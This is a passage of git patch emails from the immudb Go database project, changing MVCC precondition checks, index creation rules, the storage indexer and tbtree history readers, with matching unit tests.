bytes.Equal(targetKey, targetPrevKey) { continue } From 75adb28683e851ce40c16eeb71da9d493c857950 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 1 Sep 2023 00:17:45 -0300 Subject: [PATCH 0747/1062] chore(embedded/sql): multi-snapshop mvvc Signed-off-by: Jeronimo Irazabal --- embedded/sql/engine_test.go | 24 ++++++++++++------------ embedded/store/immustore_test.go | 3 +++ embedded/store/ongoing_tx.go | 15 ++++++++++++--- 3 files changed, 27 insertions(+), 15 deletions(-) diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index e8adbd07af..4f5d51cfe0 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -5944,10 +5944,10 @@ func TestMVCC(t *testing.T) { _, _, err = engine.Exec(context.Background(), tx1, "UPSERT INTO table1 (id, title, active, payload) VALUES (1, 'title1', true, x'00A1');", nil) require.NoError(t, err) - _, _, err = engine.Exec(context.Background(), tx1, "COMMIT;", nil) + _, _, err = engine.Exec(context.Background(), tx2, "UPSERT INTO table1 (id, title, active, payload) VALUES (1, 'title1', true, x'00A1');", nil) require.NoError(t, err) - _, _, err = engine.Exec(context.Background(), tx2, "UPSERT INTO table1 (id, title, active, payload) VALUES (1, 'title1', true, x'00A1');", nil) + _, _, err = engine.Exec(context.Background(), tx1, "COMMIT;", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), tx2, "COMMIT;", nil) @@ -5964,10 +5964,10 @@ func TestMVCC(t *testing.T) { _, _, err = engine.Exec(context.Background(), tx1, "UPSERT INTO table1 (id, title, active, payload) VALUES (1, 'title1', true, x'00A1');", nil) require.NoError(t, err) - _, _, err = engine.Exec(context.Background(), tx1, "COMMIT;", nil) + rowReader, err := engine.Query(context.Background(), tx2, "SELECT * FROM table1 USE INDEX ON id WHERE id > 0", nil) require.NoError(t, err) - rowReader, err := engine.Query(context.Background(), tx2, "SELECT * FROM table1 USE INDEX ON id WHERE id > 0", nil) + _, _, err = engine.Exec(context.Background(), tx1, "COMMIT;", nil) require.NoError(t, err) for { @@ -6027,10 +6027,10 @@ func TestMVCC(t *testing.T) { _, _, err = engine.Exec(context.Background(), tx1, "UPSERT INTO table1 (id, title, active, payload) VALUES (1, 'title1', true, x'00A1');", nil) require.NoError(t, err) - _, _, err = engine.Exec(context.Background(), tx1, "COMMIT;", nil) + _, _, err = engine.Exec(context.Background(), tx2, "DELETE FROM table1 WHERE id > 0", nil) require.NoError(t, err) - _, _, err = engine.Exec(context.Background(), tx2, "DELETE FROM table1 WHERE id > 0", nil) + _, _, err = engine.Exec(context.Background(), tx1, "COMMIT;", nil) require.NoError(t, err) _, _, err = engine.Exec(context.Background(), tx2, "UPSERT INTO table1 (id, title, active, payload) VALUES (2, 'title2', false, x'00A2');", nil) @@ -6073,10 +6073,10 @@ func TestMVCC(t *testing.T) { _, _, err = engine.Exec(context.Background(), tx1, "UPSERT INTO table1 (id, title, active, payload) VALUES (10, 'title10', true, x'0A10');", nil) require.NoError(t, err) - _, _, err = engine.Exec(context.Background(), tx1, "COMMIT;", nil) + rowReader, err := engine.Query(context.Background(), tx2, "SELECT * FROM table1 USE INDEX ON id WHERE id < 10 ORDER BY id DESC", nil) require.NoError(t, err) - rowReader, err := engine.Query(context.Background(), tx2, "SELECT * FROM table1 USE INDEX ON id WHERE id < 10 ORDER BY id DESC", nil) + _, _, err = engine.Exec(context.Background(), tx1, "COMMIT;", nil) require.NoError(t, err) for { @@ -6107,10 +6107,10 @@ func TestMVCC(t *testing.T) { _, _, err = engine.Exec(context.Background(), tx1, "UPSERT INTO table1 (id, title, active, payload) VALUES (11, 'title11', true, x'0A11');", nil) require.NoError(t, err) - _, _, err = engine.Exec(context.Background(), tx1, "COMMIT;", nil) + rowReader, err := engine.Query(context.Background(), tx2, "SELECT * FROM table1 USE INDEX ON id WHERE id < 10 ORDER BY id DESC", nil) require.NoError(t, err) - rowReader, err := engine.Query(context.Background(), tx2, "SELECT * FROM table1 USE INDEX ON id WHERE id < 10 ORDER BY id DESC", nil) + _, _, err = engine.Exec(context.Background(), tx1, "COMMIT;", nil) require.NoError(t, err) for { @@ -6181,10 +6181,10 @@ func TestMVCC(t *testing.T) { _, _, err = engine.Exec(context.Background(), tx1, "UPSERT INTO table1 (id, title, active, payload) VALUES (12, 'title12', true, x'0A12');", nil) require.NoError(t, err) - _, _, err = engine.Exec(context.Background(), tx1, "COMMIT;", nil) + rowReader, err := engine.Query(context.Background(), tx2, "SELECT * FROM table1 ORDER BY id DESC LIMIT 1 OFFSET 1", nil) require.NoError(t, err) - rowReader, err := engine.Query(context.Background(), tx2, "SELECT * FROM table1 ORDER BY id DESC LIMIT 1 OFFSET 1", nil) + _, _, err = engine.Exec(context.Background(), tx1, "COMMIT;", nil) require.NoError(t, err) for { diff --git a/embedded/store/immustore_test.go b/embedded/store/immustore_test.go index b57f0e4eac..a7dfe76c14 100644 --- a/embedded/store/immustore_test.go +++ b/embedded/store/immustore_test.go @@ -5066,11 +5066,13 @@ func TestIndexingChanges(t *testing.T) { defer immustoreClose(t, st) err = st.InitIndexing(&IndexSpec{ + SourcePrefix: []byte("j"), TargetPrefix: []byte("j"), }) require.NoError(t, err) err = st.InitIndexing(&IndexSpec{ + SourcePrefix: []byte("k"), TargetPrefix: []byte("k"), }) require.NoError(t, err) @@ -5118,6 +5120,7 @@ func TestIndexingChanges(t *testing.T) { require.NoError(t, err) err = st.InitIndexing(&IndexSpec{ + SourcePrefix: []byte("j"), TargetPrefix: []byte("j"), }) require.NoError(t, err) diff --git a/embedded/store/ongoing_tx.go b/embedded/store/ongoing_tx.go index 5878602a83..d42e444a8f 100644 --- a/embedded/store/ongoing_tx.go +++ b/embedded/store/ongoing_tx.go @@ -592,9 +592,6 @@ func (tx *OngoingTx) checkPreconditions(st *ImmuStore) error { return nil } - //TODO: remove - return nil - for _, txSnap := range tx.snapshots { if txSnap.Ts() > st.LastPrecommittedTxID() { // read-write transactions when no other transaction was committed won't be invalidated @@ -609,6 +606,10 @@ func (tx *OngoingTx) checkPreconditions(st *ImmuStore) error { defer snap.Close() for _, e := range tx.mvccReadSet.expectedGets { + if !hasPrefix(e.key, txSnap.prefix) { + continue + } + valRef, err := snap.GetWithFilters(e.key, e.filters...) if errors.Is(err, ErrKeyNotFound) { if e.expectedTx > 0 { @@ -626,6 +627,10 @@ func (tx *OngoingTx) checkPreconditions(st *ImmuStore) error { } for _, e := range tx.mvccReadSet.expectedGetsWithPrefix { + if !hasPrefix(e.prefix, txSnap.prefix) { + continue + } + key, valRef, err := snap.GetWithPrefixAndFilters(e.prefix, e.neq, e.filters...) if errors.Is(err, ErrKeyNotFound) { if e.expectedTx > 0 { @@ -643,6 +648,10 @@ func (tx *OngoingTx) checkPreconditions(st *ImmuStore) error { } for _, eReader := range tx.mvccReadSet.expectedReaders { + if !hasPrefix(eReader.spec.Prefix, txSnap.prefix) { + continue + } + rspec := KeyReaderSpec{ SeekKey: eReader.spec.SeekKey, EndKey: eReader.spec.EndKey, From 0ba2038f1964f6c6edc35b444754016d828378d7 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 1 Sep 2023 00:24:24 -0300 Subject: [PATCH 0748/1062] chore(embedded/store): remove metastate Signed-off-by: Jeronimo Irazabal --- embedded/store/immustore.go | 79 +----------------------------- embedded/store/meta_state.go | 94 ------------------------------------ 2 files changed, 1 insertion(+), 172 deletions(-) delete mode 100644 embedded/store/meta_state.go diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index 74a83b9bc5..3fa74e4055 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -27,7 +27,6 @@ import ( "errors" "fmt" "io" - "math" "os" "path/filepath" "sync" @@ -117,10 +116,6 @@ var ErrIndexAlreadyInitialized = errors.New("index already initialized") const MaxKeyLen = 1024 // assumed to be not lower than hash size const MaxParallelIO = 127 -const MaxIndexCount = math.MaxUint16 -const MaxIndexPrefixLen = 64 -const MaxNumberOfIndexChangesPerTx = 16 - const cLogEntrySizeV1 = offsetSize + lszSize // tx offset + hdr size const cLogEntrySizeV2 = offsetSize + lszSize + sha256.Size // tx offset + hdr size + alh @@ -145,7 +140,6 @@ const ( metaPreallocFiles = "PREALLOC_FILES" ) -const metaDirname = "meta" const indexDirname = "index" const ahtDirname = "aht" @@ -218,8 +212,6 @@ type ImmuStore struct { durablePrecommitWHub *watchers.WatchersHub commitWHub *watchers.WatchersHub - metaState *metaState - indexers map[[sha256.Size]byte]*indexer indexersMux sync.RWMutex @@ -610,13 +602,6 @@ func OpenWith(path string, vLogs []appendable.Appendable, txLog, cLog appendable return nil, fmt.Errorf("could not open aht: %w", err) } - metaPath := filepath.Join(path, metaDirname) - - metaState, err := openMetaState(metaPath, metaStateOptions{}) - if err != nil { - return nil, fmt.Errorf("could not open meta state: %w", err) - } - txLogCache, err := cache.NewLRUCache(opts.TxLogCacheSize) // TODO: optionally it could include up to opts.MaxActiveTransactions upon start if err != nil { return nil, err @@ -669,8 +654,7 @@ func OpenWith(path string, vLogs []appendable.Appendable, txLog, cLog appendable useExternalCommitAllowance: opts.UseExternalCommitAllowance, commitAllowedUpToTxID: committedTxID, - aht: aht, - metaState: metaState, + aht: aht, inmemPrecommitWHub: watchers.New(0, opts.MaxActiveTransactions+1), // syncer (TODO: indexer may wait here instead) durablePrecommitWHub: watchers.New(0, opts.MaxActiveTransactions+opts.MaxWaitees), @@ -703,24 +687,6 @@ func OpenWith(path string, vLogs []appendable.Appendable, txLog, cLog appendable } } - if store.metaState.calculatedUpToTxID() > precommittedTxID { - err = store.metaState.rollbackUpTo(precommittedTxID) - if err != nil { - store.Close() - return nil, fmt.Errorf("corrupted commit-log: can not truncate meta-state: %w", err) - } - } - - if store.metaState.calculatedUpToTxID() == precommittedTxID { - store.logger.Infof("meta-state up to date at '%s'", store.path) - } else { - err = store.syncMetaState() - if err != nil { - store.Close() - return nil, fmt.Errorf("meta-state syncing failed: %w", err) - } - } - err = store.inmemPrecommitWHub.DoneUpto(precommittedTxID) if err != nil { store.Close() @@ -1202,39 +1168,6 @@ func (s *ImmuStore) syncBinaryLinking() error { return nil } -func (s *ImmuStore) syncMetaState() error { - s.logger.Infof("syncing meta-state at '%s'...", s.path) - - tx, err := s.fetchAllocTx() - if err != nil { - return err - } - defer s.releaseAllocTx(tx) - - for { - hdr, err := s.ReadTxHeader(s.metaState.calculatedUpToTxID()+1, false, false) - if errors.Is(err, ErrTxNotFound) { - break - } - if err != nil { - return err - } - - err = s.metaState.processTxHeader(hdr) - if err != nil { - return err - } - - if tx.header.ID%1000 == 0 { - s.logger.Infof("meta-state at '%s' in progress: processing tx: %d", s.path, tx.header.ID) - } - } - - s.logger.Infof("meta-state up to date at '%s'", s.path) - - return nil -} - func (s *ImmuStore) WaitForTx(ctx context.Context, txID uint64, allowPrecommitted bool) error { s.waiteesMutex.Lock() @@ -1928,11 +1861,6 @@ func (s *ImmuStore) performPrecommit(tx *Tx, entries []*EntrySpec, ts int64, blT return err } - err = s.metaState.processTxHeader(tx.header) - if err != nil { - return err - } - err = s.cLogBuf.put(s.inmemPrecommittedTxID+1, alh, txOff, txSize) if err != nil { return err @@ -3410,11 +3338,6 @@ func (s *ImmuStore) Close() error { merr.Append(err) } - if s.metaState != nil { - err := s.metaState.close() - merr.Append(err) - } - for i := range s.vLogs { vLog, err := s.fetchVLog(i + 1) merr.Append(err) diff --git a/embedded/store/meta_state.go b/embedded/store/meta_state.go deleted file mode 100644 index 30709ddc57..0000000000 --- a/embedded/store/meta_state.go +++ /dev/null @@ -1,94 +0,0 @@ -/* -Copyright 2023 Codenotary Inc. All rights reserved. - -Licensed under the Apache License, Version 2.0 (the "License"); -you may not use this file except in compliance with the License. -You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - -Unless required by applicable law or agreed to in writing, software -distributed under the License is distributed on an "AS IS" BASIS, -WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -See the License for the specific language governing permissions and -limitations under the License. -*/ - -package store - -import ( - "errors" - "fmt" - - "github.com/codenotary/immudb/embedded/watchers" -) - -var ErrAlreadyRunning = errors.New("already running") -var ErrAlreadyStopped = errors.New("already stopped") - -type metaState struct { - truncatedUpToTxID uint64 - - wHub *watchers.WatchersHub -} - -type metaStateOptions struct { -} - -func openMetaState(path string, opts metaStateOptions) (*metaState, error) { - return &metaState{ - wHub: watchers.New(0, MaxIndexCount), - }, nil -} - -func (m *metaState) rollbackUpTo(txID uint64) error { - m.truncatedUpToTxID = 0 - - err := m.wHub.Close() - if err != nil { - return err - } - - m.wHub = watchers.New(0, MaxIndexCount) - - return nil -} - -func (m *metaState) calculatedUpToTxID() uint64 { - doneUpToTxID, _, _ := m.wHub.Status() - return doneUpToTxID -} - -func (m *metaState) processTxHeader(hdr *TxHeader) error { - if hdr == nil { - return ErrIllegalArguments - } - - if m.calculatedUpToTxID() >= hdr.ID { - return fmt.Errorf("%w: transaction already processed", ErrIllegalArguments) - } - - if hdr.Metadata == nil { - m.wHub.DoneUpto(hdr.ID) - return nil - } - - truncatedUpToTxID, err := hdr.Metadata.GetTruncatedTxID() - if err == nil { - if m.truncatedUpToTxID > truncatedUpToTxID { - return ErrCorruptedData - } - - m.truncatedUpToTxID = truncatedUpToTxID - } else if !errors.Is(err, ErrTruncationInfoNotPresentInMetadata) { - return err - } - - m.wHub.DoneUpto(hdr.ID) - - return nil -} - -func (m *metaState) close() error { - return m.wHub.Close() -} From dd173886bf44a398f01af12865c0f5709b7a14d8 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 1 Sep 2023 00:38:13 -0300 Subject: [PATCH 0749/1062] chore(embedded/store): indexer alloc its tx Signed-off-by: Jeronimo Irazabal --- embedded/store/immustore.go | 2 +- embedded/store/indexer.go | 6 +----- 2 files changed, 2 insertions(+), 6 deletions(-) diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index 3fa74e4055..93cae46bb9 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -484,7 +484,7 @@ func OpenWith(path string, vLogs []appendable.Appendable, txLog, cLog appendable } txPool, err := newTxPool(txPoolOptions{ - poolSize: opts.MaxConcurrency + 1, // one extra tx pre-allocation for indexing thread + poolSize: opts.MaxConcurrency, maxTxEntries: maxTxEntries, maxKeyLen: maxKeyLen, preallocated: true, diff --git a/embedded/store/indexer.go b/embedded/store/indexer.go index 3010646c2d..3d161fa418 100644 --- a/embedded/store/indexer.go +++ b/embedded/store/indexer.go @@ -135,10 +135,7 @@ func newIndexer(path string, store *ImmuStore, opts *Options) (*indexer, error) wHub = watchers.New(0, opts.MaxWaitees) } - tx, err := store.fetchAllocTx() - if err != nil { - return nil, err - } + tx := NewTx(opts.MaxTxEntries, opts.MaxKeyLen) kvs := make([]*tbtree.KVT, store.maxTxEntries*opts.IndexOpts.MaxBulkSize) for i := range kvs { @@ -267,7 +264,6 @@ func (idx *indexer) Close() error { idx.stop() idx.wHub.Close() - idx.store.releaseAllocTx(idx.tx) idx.closed = true From 6af1c066beeb32aa2ca015d3e6bc638149f20bcd Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 1 Sep 2023 00:52:37 -0300 Subject: [PATCH 0750/1062] chore(embedded/document): enable multi-indexing in doc engine tests Signed-off-by: Jeronimo Irazabal --- embedded/document/engine_test.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index 4041127ae8..9e57adc0ab 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -27,7 +27,7 @@ import ( ) func makeEngine(t *testing.T) *Engine { - st, err := store.Open(t.TempDir(), store.DefaultOptions()) + st, err := store.Open(t.TempDir(), store.DefaultOptions().WithMultiIndexing(true)) require.NoError(t, err) t.Cleanup(func() { From 9fd490fa556505e7f60cfe2b547fc352b848ec1e Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 1 Sep 2023 13:09:56 -0300 Subject: [PATCH 0751/1062] chore(embedded/sql): unique index creation supported on empty tables Signed-off-by: Jeronimo Irazabal --- embedded/document/errors.go | 5 +++++ embedded/document/errors_test.go | 1 + embedded/sql/engine.go | 1 + embedded/sql/engine_test.go | 3 +++ embedded/sql/stmt.go | 22 ++++++++++++++++------ 5 files changed, 26 insertions(+), 6 deletions(-) diff --git a/embedded/document/errors.go b/embedded/document/errors.go index c0c6fcdba4..5d355cdb23 100644 --- a/embedded/document/errors.go +++ b/embedded/document/errors.go @@ -35,6 +35,7 @@ var ( ErrFieldAlreadyExists = errors.New("field already exists") ErrFieldDoesNotExist = errors.New("field does not exist") ErrReservedName = errors.New("reserved name") + ErrLimitedIndexCreation = errors.New("unique index creation is only supported on empty collections") ErrConflict = errors.New("conflict due to uniqueness contraint violation or read document was updated by another transaction") ) @@ -63,6 +64,10 @@ func mayTranslateError(err error) error { return ErrFieldDoesNotExist } + if errors.Is(err, sql.ErrLimitedIndexCreation) { + return ErrLimitedIndexCreation + } + if errors.Is(err, store.ErrTxReadConflict) { return ErrConflict } diff --git a/embedded/document/errors_test.go b/embedded/document/errors_test.go index d3381db7ce..8e3d9558df 100644 --- a/embedded/document/errors_test.go +++ b/embedded/document/errors_test.go @@ -36,6 +36,7 @@ func TestMayTranslateError(t *testing.T) { {sql.ErrNoMoreRows, ErrNoMoreDocuments}, {sql.ErrColumnAlreadyExists, ErrFieldAlreadyExists}, {sql.ErrColumnDoesNotExist, ErrFieldDoesNotExist}, + {sql.ErrLimitedIndexCreation, ErrLimitedIndexCreation}, {store.ErrTxReadConflict, ErrConflict}, {store.ErrKeyAlreadyExists, ErrConflict}, {errCustom, errCustom}, diff --git a/embedded/sql/engine.go b/embedded/sql/engine.go index 2edc490cf4..36aa9a6e4b 100644 --- a/embedded/sql/engine.go +++ b/embedded/sql/engine.go @@ -80,6 +80,7 @@ var ErrDivisionByZero = errors.New("division by zero") var ErrMissingParameter = errors.New("missing parameter") var ErrUnsupportedParameter = errors.New("unsupported parameter") var ErrDuplicatedParameters = errors.New("duplicated parameters") +var ErrLimitedIndexCreation = errors.New("unique index creation is only supported on empty tables") var ErrTooManyRows = errors.New("too many rows") var ErrAlreadyClosed = store.ErrAlreadyClosed var ErrAmbiguousSelector = errors.New("ambiguous selector") diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index 4f5d51cfe0..c201055390 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -1151,6 +1151,9 @@ func TestCreateIndex(t *testing.T) { _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table1(name, age) VALUES ('name2', 10)", nil) require.ErrorIs(t, err, ErrPKCanNotBeNull) + _, _, err = engine.Exec(context.Background(), nil, "CREATE UNIQUE INDEX ON table1(active)", nil) + require.ErrorIs(t, err, ErrLimitedIndexCreation) + _, _, err = engine.Exec(context.Background(), nil, "CREATE INDEX ON table1(active)", nil) require.NoError(t, err) } diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index 5399ae76c4..eb522b6fb3 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -391,8 +391,19 @@ func (stmt *CreateIndexStmt) execAt(ctx context.Context, tx *SQLTx, params map[s return nil, fmt.Errorf("%w: can not create index using columns '%v'. Max key length is %d", ErrLimitedKeyType, stmt.cols, MaxKeyLen) } + if stmt.unique && table.primaryIndex != nil { + // check table is empty + pkPrefix := MapKey(tx.sqlPrefix(), MappedPrefix, EncodeID(table.id), EncodeID(table.primaryIndex.id)) + _, _, err := tx.getWithPrefix(pkPrefix, nil) + if err == nil { + return nil, ErrLimitedIndexCreation + } else if !errors.Is(err, store.ErrKeyNotFound) { + return nil, err + } + } + index, err := table.newIndex(stmt.unique, colIDs) - if err == ErrIndexAlreadyExists && stmt.ifNotExists { + if errors.Is(err, ErrIndexAlreadyExists) && stmt.ifNotExists { return tx, nil } if err != nil { @@ -661,7 +672,7 @@ func (stmt *UpsertIntoStmt) execAt(ctx context.Context, tx *SQLTx, params map[st mappedPKey := MapKey(tx.sqlPrefix(), MappedPrefix, EncodeID(table.id), EncodeID(table.primaryIndex.id), pkEncVals, pkEncVals) _, err = tx.get(mappedPKey) - if err != nil && err != store.ErrKeyNotFound { + if err != nil && !errors.Is(err, store.ErrKeyNotFound) { return nil, err } @@ -820,8 +831,7 @@ func (tx *SQLTx) doUpsert(ctx context.Context, pkEncVals []byte, valuesByColID m _, valRef, err := tx.getWithPrefix(smkey, nil) if err == nil && (valRef.KVMetadata() == nil || !valRef.KVMetadata().Deleted()) { return store.ErrKeyAlreadyExists - } - if !errors.Is(err, store.ErrKeyNotFound) { + } else if !errors.Is(err, store.ErrKeyNotFound) { return err } } @@ -1071,7 +1081,7 @@ func (stmt *UpdateStmt) execAt(ctx context.Context, tx *SQLTx, params map[string for { row, err := rowReader.Read(ctx) - if err == ErrNoMoreRows { + if errors.Is(err, ErrNoMoreRows) { break } else if err != nil { return nil, err @@ -1178,7 +1188,7 @@ func (stmt *DeleteFromStmt) execAt(ctx context.Context, tx *SQLTx, params map[st for { row, err := rowReader.Read(ctx) - if err == ErrNoMoreRows { + if errors.Is(err, ErrNoMoreRows) { break } if err != nil { From a15c052d428425f6f011bf44011907ec003f3502 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 1 Sep 2023 16:54:44 -0300 Subject: [PATCH 0752/1062] chore(embedded/tbtree): wip value-preserving history Signed-off-by: Jeronimo Irazabal --- embedded/tbtree/history_reader.go | 8 +- embedded/tbtree/reader.go | 22 ++-- embedded/tbtree/reader_test.go | 14 +- embedded/tbtree/snapshot.go | 61 +++++---- embedded/tbtree/tbtree.go | 204 +++++++++++++++++------------- embedded/tbtree/tbtree_test.go | 4 +- 6 files changed, 180 insertions(+), 133 deletions(-) diff --git a/embedded/tbtree/history_reader.go b/embedded/tbtree/history_reader.go index e1ad75fc54..15073691aa 100644 --- a/embedded/tbtree/history_reader.go +++ b/embedded/tbtree/history_reader.go @@ -53,19 +53,19 @@ func newHistoryReader(id int, snap *Snapshot, spec *HistoryReaderSpec) (*History }, nil } -func (r *HistoryReader) Read() (tss []uint64, err error) { +func (r *HistoryReader) Read() ([]timedValue, error) { if r.closed { return nil, ErrAlreadyClosed } - tss, _, err = r.snapshot.History(r.key, r.offset, r.descOrder, r.readLimit) + timedValues, _, err := r.snapshot.History(r.key, r.offset, r.descOrder, r.readLimit) if err != nil { return nil, err } - r.offset += uint64(len(tss)) + r.offset += uint64(len(timedValues)) - return tss, nil + return timedValues, nil } func (r *HistoryReader) Close() error { diff --git a/embedded/tbtree/reader.go b/embedded/tbtree/reader.go index 69220a3c7e..2729df3be7 100644 --- a/embedded/tbtree/reader.go +++ b/embedded/tbtree/reader.go @@ -60,18 +60,18 @@ func (r *Reader) Reset() error { return nil } -func (r *Reader) ReadBetween(initialTs, finalTs uint64) (key []byte, ts, hc uint64, err error) { +func (r *Reader) ReadBetween(initialTs, finalTs uint64) (key []byte, value []byte, ts, hc uint64, err error) { if r.closed { - return nil, 0, 0, ErrAlreadyClosed + return nil, nil, 0, 0, ErrAlreadyClosed } if r.leafNode == nil { path, startingLeaf, startingOffset, err := r.snapshot.root.findLeafNode(r.seekKey, nil, 0, nil, r.descOrder) if errors.Is(err, ErrKeyNotFound) { - return nil, 0, 0, ErrNoMoreEntries + return nil, nil, 0, 0, ErrNoMoreEntries } if err != nil { - return nil, 0, 0, err + return nil, nil, 0, 0, err } r.path = path @@ -84,7 +84,7 @@ func (r *Reader) ReadBetween(initialTs, finalTs uint64) (key []byte, ts, hc uint if (!r.descOrder && len(r.leafNode.values) == r.leafOffset) || (r.descOrder && r.leafOffset < 0) { for { if len(r.path) == 0 { - return nil, 0, 0, ErrNoMoreEntries + return nil, nil, 0, 0, ErrNoMoreEntries } parent := r.path[len(r.path)-1] @@ -102,7 +102,7 @@ func (r *Reader) ReadBetween(initialTs, finalTs uint64) (key []byte, ts, hc uint } if err != nil { - return nil, 0, 0, err + return nil, nil, 0, 0, err } r.path = path @@ -128,11 +128,11 @@ func (r *Reader) ReadBetween(initialTs, finalTs uint64) (key []byte, ts, hc uint cmp := bytes.Compare(r.endKey, leafValue.key) if r.descOrder && (cmp > 0 || (cmp == 0 && !r.inclusiveEnd)) { - return nil, 0, 0, ErrNoMoreEntries + return nil, nil, 0, 0, ErrNoMoreEntries } if !r.descOrder && (cmp < 0 || (cmp == 0 && !r.inclusiveEnd)) { - return nil, 0, 0, ErrNoMoreEntries + return nil, nil, 0, 0, ErrNoMoreEntries } } @@ -147,9 +147,9 @@ func (r *Reader) ReadBetween(initialTs, finalTs uint64) (key []byte, ts, hc uint continue } - ts, hc, err := leafValue.lastUpdateBetween(r.snapshot.t.hLog, initialTs, finalTs) + value, ts, hc, err := leafValue.lastUpdateBetween(r.snapshot.t.hLog, initialTs, finalTs) if err == nil { - return cp(leafValue.key), ts, hc, nil + return cp(leafValue.key), cp(value), ts, hc, nil } } } @@ -241,7 +241,7 @@ func (r *Reader) Read() (key []byte, value []byte, ts, hc uint64, err error) { continue } - return cp(leafValue.key), cp(leafValue.value), leafValue.ts, leafValue.hCount, nil + return cp(leafValue.key), cp(leafValue.timedValue().value), leafValue.timedValue().ts, leafValue.hCount, nil } } diff --git a/embedded/tbtree/reader_test.go b/embedded/tbtree/reader_test.go index f535942f00..be06402147 100644 --- a/embedded/tbtree/reader_test.go +++ b/embedded/tbtree/reader_test.go @@ -42,7 +42,7 @@ func TestReaderForEmptyTreeShouldReturnError(t *testing.T) { _, _, _, _, err = r.Read() require.ErrorIs(t, err, ErrNoMoreEntries) - _, _, _, err = r.ReadBetween(1, 1) + _, _, _, _, err = r.ReadBetween(1, 1) require.ErrorIs(t, err, ErrNoMoreEntries) } @@ -200,7 +200,7 @@ func TestReaderAscendingScanAsBefore(t *testing.T) { require.ErrorIs(t, err, ErrReadersNotClosed) for { - k, _, hc, err := reader.ReadBetween(0, 1001) + k, _, _, hc, err := reader.ReadBetween(0, 1001) if err != nil { require.ErrorIs(t, err, ErrNoMoreEntries) break @@ -213,7 +213,7 @@ func TestReaderAscendingScanAsBefore(t *testing.T) { err = reader.Close() require.NoError(t, err) - _, _, _, err = reader.ReadBetween(0, 0) + _, _, _, _, err = reader.ReadBetween(0, 0) require.ErrorIs(t, err, ErrAlreadyClosed) err = reader.Close() @@ -231,9 +231,10 @@ func TestReaderAsBefore(t *testing.T) { require.NoError(t, err) key := []byte{0, 0, 0, 250} + value := []byte{0, 0, 0, 251} for i := 0; i < 10; i++ { - err = tbtree.Insert(key, key) + err = tbtree.Insert(key, value) require.NoError(t, err) } @@ -254,9 +255,10 @@ func TestReaderAsBefore(t *testing.T) { reader, err := snapshot.NewReader(rspec) require.NoError(t, err) - k, ts, hc, err := reader.ReadBetween(1, 9) + k, v, ts, hc, err := reader.ReadBetween(1, 9) require.NoError(t, err) require.Equal(t, key, k) + require.Equal(t, value, v) require.Equal(t, uint64(9), ts) require.Equal(t, uint64(9), hc) @@ -403,7 +405,7 @@ func TestReaderDescendingScanAsBefore(t *testing.T) { i := 0 prevk := reader.seekKey for { - k, _, hc, err := reader.ReadBetween(0, uint64(keyCount)) + k, _, _, hc, err := reader.ReadBetween(0, uint64(keyCount)) if err != nil { require.ErrorIs(t, err, ErrNoMoreEntries) break diff --git a/embedded/tbtree/snapshot.go b/embedded/tbtree/snapshot.go index dc9686c92f..0bcbb5fa83 100644 --- a/embedded/tbtree/snapshot.go +++ b/embedded/tbtree/snapshot.go @@ -53,7 +53,8 @@ type Snapshot struct { // The method handles splitting of nodes to maintain the B-tree structure. // It returns an error if the insertion fails. // Example usage: -// err := snapshot.Set([]byte("key"), []byte("value")) +// +// err := snapshot.Set([]byte("key"), []byte("value")) func (s *Snapshot) Set(key, value []byte) error { // Acquire a write lock on the snapshot s.mutex.Lock() @@ -102,7 +103,8 @@ func (s *Snapshot) Set(key, value []byte) error { // It locks the snapshot for reading, and delegates the retrieval to the root node. // The method returns the value, timestamp, hash count, and an error. // Example usage: -// value, timestamp, hashCount, err := snapshot.Get([]byte("key")) +// +// value, timestamp, hashCount, err := snapshot.Get([]byte("key")) func (s *Snapshot) Get(key []byte) (value []byte, ts uint64, hc uint64, err error) { // Acquire a read lock on the snapshot s.mutex.RLock() @@ -127,8 +129,9 @@ func (s *Snapshot) Get(key []byte) (value []byte, ts uint64, hc uint64, err erro // It locks the snapshot for reading, and delegates the history retrieval to the root node. // The method returns an array of timestamps, the hash count, and an error. // Example usage: -// timestamps, hashCount, err := snapshot.History([]byte("key"), 0, true, 10) -func (s *Snapshot) History(key []byte, offset uint64, descOrder bool, limit int) (tss []uint64, hCount uint64, err error) { +// +// timestamps, hashCount, err := snapshot.History([]byte("key"), 0, true, 10) +func (s *Snapshot) History(key []byte, offset uint64, descOrder bool, limit int) (timedValues []timedValue, hCount uint64, err error) { // Acquire a read lock on the snapshot s.mutex.RLock() defer s.mutex.RUnlock() @@ -155,7 +158,8 @@ func (s *Snapshot) History(key []byte, offset uint64, descOrder bool, limit int) // Ts returns the timestamp associated with the root node of the snapshot. // It locks the snapshot for reading and returns the timestamp. // Example usage: -// timestamp := snapshot.Ts() +// +// timestamp := snapshot.Ts() func (s *Snapshot) Ts() uint64 { // Acquire a read lock on the snapshot s.mutex.RLock() @@ -168,7 +172,8 @@ func (s *Snapshot) Ts() uint64 { // It locks the snapshot for reading, and delegates the retrieval to the root node. // The method returns the key, value, timestamp, hash count, and an error. // Example usage: -// key, value, timestamp, hashCount, err := snapshot.GetWithPrefix([]byte("prefix"), []byte("neq")) +// +// key, value, 